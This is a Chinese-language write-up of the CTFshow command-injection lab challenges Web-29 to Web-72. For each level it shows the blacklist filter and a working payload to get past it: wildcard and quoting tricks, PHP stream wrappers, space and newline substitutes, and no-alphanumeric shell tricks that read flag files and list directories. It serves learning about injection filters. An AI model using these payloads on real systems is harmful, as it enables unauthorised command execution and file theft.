CTFshow-命令注入实战
Web-29
1 | error_reporting(0); |
/i是不区分大小写,这里的意思是只要我们的代码里面没有字符串flag就会把我们的变量c的内容当php代码来执行
http://99bab897-f7c6-465e-9c5f-9341cf9adc3d.challenge.ctf.show/?c=system('ls');
然后显示flag.php index.php
所以我们只要获取当前目录的flag.php即可,但是flag被屏蔽了,所以我们可以用glob匹配
1 | http://99bab897-f7c6-465e-9c5f-9341cf9adc3d.challenge.ctf.show/?c=system('cat f*'); |
即可获得flag
Web-30
1 | error_reporting(0); |
可以看到system被屏蔽了,所以可以用echo命令代替
1 | http://124af641-24df-44f8-9a6a-b5fa7bb299b8.challenge.ctf.show/?c=echo `ls`; |
然后在获取flag.php里的内容
1 | http://124af641-24df-44f8-9a6a-b5fa7bb299b8.challenge.ctf.show/?c=echo `cat f*`; |
此外,还可以用passthru来代替system执行系统命令:
1 | ?c=passthru("cat f*"); |
即可获得flag
更多执行系统命令的函数可以看这里
https://www.php.cn/php-weizijiaocheng-298828.html
Web-31
1 | error_reporting(0); |
这次屏蔽了字符,可以用php伪协议的方法来输出
1 | http://5df75460-f7fc-4f03-b1c2-a3b83a45c7ba.challenge.ctf.show/?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php |
再base64解码后,就可以看到flag了
1 | <?php |
还有一种方法就是和之前一样了
1 | http://5df75460-f7fc-4f03-b1c2-a3b83a45c7ba.challenge.ctf.show/?c=echo%09`ls`; |
由于在php环境下,%09可以绕过空格,然后tac是用来绕过cat的
Web-32
1 | error_reporting(0); |
过滤了flag,system,php,cat,sort,shell,echo,分号,空格,单引号,括号,空格,`,.
本来想这么做的?c=eval($_GET["a"]);&a=system('ls');
然后发现括号被过滤了,所以我们用文件包含来写
1 | ?c=include$_GET["a"]?>&a=php://filter/convert.base64-encode/resource=flag.php |
Web-33
1 | error_reporting(0); |
和上一题相比多屏蔽了一个双引号,那么换汤不换药, 依然使用上个payload就ok了
1 | ?c=include$_GET[1] &1=php://filter/convert.base64-encode/resource=flag.php |
Web-34
1 | if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)) |
多屏蔽了一个冒号,继续一样的payload就ok
不过这次换了一个协议来构造payload
1 | ?c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php"); ?> |
Web-35
1 | if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){ |
这次狠了,多屏蔽了一个尖括号,额但是是左括号
所以相同的payload相同的结局……
Web-36
1 | if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){ |
这次多屏蔽了数字
但是终究没啥区别
Web-37
1 | error_reporting(0); |
这里我们的代码被直接文件包含了,但是上几题我们的payload其实也就是利用了文件包含,所以相当于省去了include那一步
我们可以用data协议:(这里屏蔽了flag,所以用问号来绕过)
1 | ?c=data://text/plain,<?php system("tac fla?.php");?> |
Web-38
1 | //flag in flag.php |
依然是直接文件包含,但是多屏蔽了php和file
所以data协议乱杀(
1 | ?c=data://text/plain,<?php system("tac fl*");?> |
额然后我这么构造发现自己sb了,这里面不还是有php么(雾
所以得改成php标签
1 | ?c=data://text/plain,<?= system("tac fl*");?> |
Web-39
1 | //flag in flag.php |
依然是data协议,后面那个.php不用管他,因为我们前面的php语句已经闭合,后面的.php会被当成字符串被直接显示到页面上
1 | http://a1959917-0cc2-49e8-a63e-6fc1db0a8f58.challenge.ctf.show/?c=data://text/plain,<?=system('cat f*');?> |
实际上我们如果这样构造payload
1 | ?c=data://text/plain,<?=system('cat f*');?>111 |
111也会显示到屏幕上
Web-40
1 | if(isset($_GET['c'])){ |
屏蔽了一堆的符号和数字
指的一提的是这里的括号是中文括号……
利用session
利用session_id()让php读取我们设置的cookie(session里默认不使用,所以我们得用session_start()来让php开始使用session,但是要注意php5.5以下和php7.1以上是无法写入除了0-9a-zA-Z或-以外的字符的
1 | ?c=session_start();system(session_id()); |
此时我们把cookie改成ls
可以看到成功执行了,但是由于版本限制,我们这里只能做到这里了
无参数RCE
既然没过滤括号,那我们就利用无参数来读文件
1 | /?c=print_r(scandir(pos(localeconv()))); |
我们需要的是倒数第2个,所以可以先逆序再next函数
1 | /?c=highlight_file(next(array_reverse(scandir(pos(localeconv()))))); |
Web-41
1 | if(isset($_POST['c'])){ |
这次的c需要我们post进去了,而且屏蔽了数字,字母和一些符号,异或^和与操作&都被屏蔽了,但是特意给我们留了一个|运算符
好的这道题没拿下来……贴一下yu22x大佬的脚本:
首先是一个用or操作生成字符的php脚本
1 |
|
简单来说,这个脚本的目的就是用未被preg_match函数匹配的字符来进行或操作,从而生成我们需要的字符
rce_or.txt的内容大致就是这样的:
然后,接下来的python脚本的作用就是,你输入你的函数和操作,他会给你转化成两个字符的或然后post到网站来获取flag
1 | # -*- coding: utf-8 -*- |
这个就是python脚本运行时的效果了
Web-42
1 | if(isset($_GET['c'])){ |
这下盲区了,学习一下
https://www.cnblogs.com/kexianting/p/11630085.html
所以,相当于我们的命令都丢失了,其实和命令前面一个#有相似的作用,所以猜测只要在命令后面加个换行就可以了
1 | /?c=ls%0a; |
发现还真可以,网上有另一种双写绕过的方法,这样绕过的话,前一个分号能逃出去,后面的分号会掉进黑洞
1 | /?c=ls;ls |
额,但是实话实话,我试的时候发现,只要/?c=ls;就行了,也合理,毕竟;就让命令结束了
另一种双写绕过的形式我感觉倒更像是双写绕过:
1 | ?c=ls&&ls |
但是这个&&得url编码
即
1 | ?c=ls%26%26ls |
Web-43
1 | if(isset($_GET['c'])){ |
额,和上一题相比就是屏蔽了一些,用上一题最后那个payload就ok
1 | ?c=ls%26%26ls |
Web-44
1 | if(isset($_GET['c'])){ |
换汤不换药
1 | ?c=tac f*%26%26ls |
Web-45
1 | if(isset($_GET['c'])){ |
多屏蔽了个空格,换汤不换药
1 | ?c=tac%09f*%26%26ls |
Web-46
1 | if(isset($_GET['c'])){ |
屏蔽了数字!但是,%09这种是url编码,传过去之后以及被url解码了,所以没啥影响,至于*被屏蔽用?就ok了
1 | ?c=tac%09f???.???%26%26ls |
Web-47
1 | if(isset($_GET['c'])){ |
屏蔽了很多代替cat的方法,但是我的tac还是依然坚挺
1 | ?c=tac%09f???.???%26%26ls |
所以这个payload还是能用
Web-48
1 | if(isset($_GET['c'])){ |
又屏蔽了这么多……
但是tac还是能逃过一劫还是有点离谱
所以payload你懂的(
1 | ?c=tac%09f???.???%26%26ls |
Web-49
1 | if(isset($_GET['c'])){ |
你应该知道我要说什么————通杀!
1 | ?c=tac%09f???.???%26%26ls |
Web-50
1 | if(isset($_GET['c'])){ |
屏蔽了/x26,意味着我们的%26寄了
但是无所谓,%0a会出手!
屏蔽了/x09,意味着我们的%0a也寄了
但是无所谓,<会出手!
然后payload一直过不了……百度了一下发现?用不了,不知道为什么,这里也没说?被屏蔽啊,无奈只能用两个单引号来绕过了
总之payload就是这样:
1 | ?c=tac<fl''ag.php%0a |
Web-51
1 | if(isset($_GET['c'])){ |
tac倒了(
观察一下,nl没被屏蔽,那就稍微改改:
1 | ?c=nl<fl''ag.php%0a |
Web-52
1 | if(isset($_GET['c'])){ |
这次>和<也寄了,但是$被放出来了
那就这么构造:
1 | ?c=nl${IFS}fl''ag.php%0a |
然后发现被骗了,去根目录看看吧
1 | ?c=ls${IFS}/%0a |
然后发现根目录下面也有一个flag
1 | ?c=nl${IFS}/fl''ag%0a |
Web-53
1 |
|
这次终于不是黑洞了(
代码看起来有点怪,但是问题不大
1 | ?c=nl${IFS}fl""ag.php |
Web-54
1 | if(isset($_GET['c'])){ |
cat,flag,more等中间不能穿插字符来绕过了,但是xxd没被屏蔽,还可以用rev和paste
1 | ?c=rev${IFS}f?ag.php |
把得到的字符串倒序就行
Web-55
1 | // 你们在炫技吗? |
字母寄完了,但是查看文件的命令有base64
所以可以
1 | ?c=/???/????64 ????.??? |
还可以用bzip2,压缩flag.php,然后进行下载
1 | ?c=/???/???/????2 ????.??? |
之后在访问/flag.php.bz2进行下载
Web-56
1 | // 你们在炫技吗? |
无字母数字的rce
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
p神博客其实讲的很清楚了
我们上传文件时,PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX
,文件名最后6个字符是随机的大小写字母,所以我们可以用/???/????????[@-[]
来匹配我们上传的临时文件。虽然最后一位不一定是大写,但是多试几次就ok了其实
所以我们的思路就是,往这个网页上传文件,让网页执行这个临时文件,就ok了
1 |
|
在本地跑一下,上传一个txt文件,同时抓包,在bp里修改参数c和txt文件即可:
成功获得flag!
Web-57
1 | // 还能炫的动吗? |
又是无数字字母rce,而且这次.也被屏蔽了
这里注意到$这次没被屏蔽
然而注意到了我也还是不会,没办法,去学吧!
${_}
:代表上一次命令执行的结果$(())
: 做运算
众所周知,对 a 按位取反,则得到的结果为 -(a+1)
$((""))
值为0,因为里面的双引号为空,所以运算结果自然是0啦
$((~$((""))))
值为-1,因为是做对0取反,所以结果就是-1
所以,可以进行拼接,如-2其实就是-1-1=-2
所以我们可以这样不断拼接出-37,-37取反就可以得到36:
嗯……学到了新的绕过数字的姿势,只能说很神奇(
所以最后的payload是:
1 | ?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))) |
emmm好好好炫不动了
Web-58
1 | // 你们在炫技吗? |
乍一眼看上去以为是只要post传入c为随意一个命令就可以被执行,发现并不是,比如system好像就被屏蔽了
显示system() has been disabled for security reasons
说明php.ini里禁用了执行系统外部命令函数,可以用php的内置函数来读取文件
1 | print_r(glob("*")); |
可以读取当前目录
1 | c=highlight_file("flag.php"); |
读取flag.php里的源码
除了这个做法以外,还可以用文件包含:
1 | c=include$_POST[1]?>&1=php://filter/convert.base64-encode/resource=flag.php |
Web-59
1 | // 你们在炫技吗? |
不知道做了啥过滤,先用上一题的payload试试呗
1 | c=print_r(glob("*")); |
1 | c=highlight_file("flag.php"); |
额然后就出来了……
Web-60
1 | // 你们在炫技吗? |
额和前两题一样,不知道具体有什么区别……
Web-61~65
同上
Web-66
1 | // 你们在炫技吗? |
终于:
在根目录找找吧:
1 | c=print_r(scandir("/")); |
发现有个flag.txt
1 | c=highlight_file("/flag.txt"); |
ok
Web-67
1 | // 你们在炫技吗? |
1 | c=print_r(glob("*")); |
这次print_r函数也被拦了,但是有平替
1 | c=var_dump(scandir("/")); |
还是flag.txt
1 | c=highlight_file("/flag.txt"); |
Web-68
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19
一进去就报错这个,猜测源码应该和之前一样,只是highlilght_file被禁用所以没法显示出来
1 | c=var_dump(scandir("/")); |
发现回显还是正常的:
1 | c=include("/flag.txt"); |
出flag
Web-69
和上一题比起来,这次var_dump也被屏蔽了
这里我也没辙了,百度了一下wp,发现可以用echo变量的方法:
1 | c=$a=(scandir("/"));echo $a[6]; |
不得不说确实没想到
然后后面还是愉快的include即可:
1 | c=include("/flag.txt"); |
Web-70
好家伙我直呼好家伙
但是无所谓,上一题的payload会出手!
Web-71
这次给了index.php:
1 | error_reporting(0); |
可以看到在eval($c)后面,读取的文件内容会进入缓冲区存进变量s中,关闭缓冲区,然后再用echo输出s中的内容(数字字母被替换成?)所以我们只需要用exit(0)或者die()直接结束程序不执行后面代码即可
1 | ob_get_contents — 返回输出缓冲区的内容 |
所以我们的payload可以变化成:
1 | c=$a=(scandir("/"));echo $a[6];exit(0); |
Web-72
1 | error_reporting(0); |
这次scandir被ban了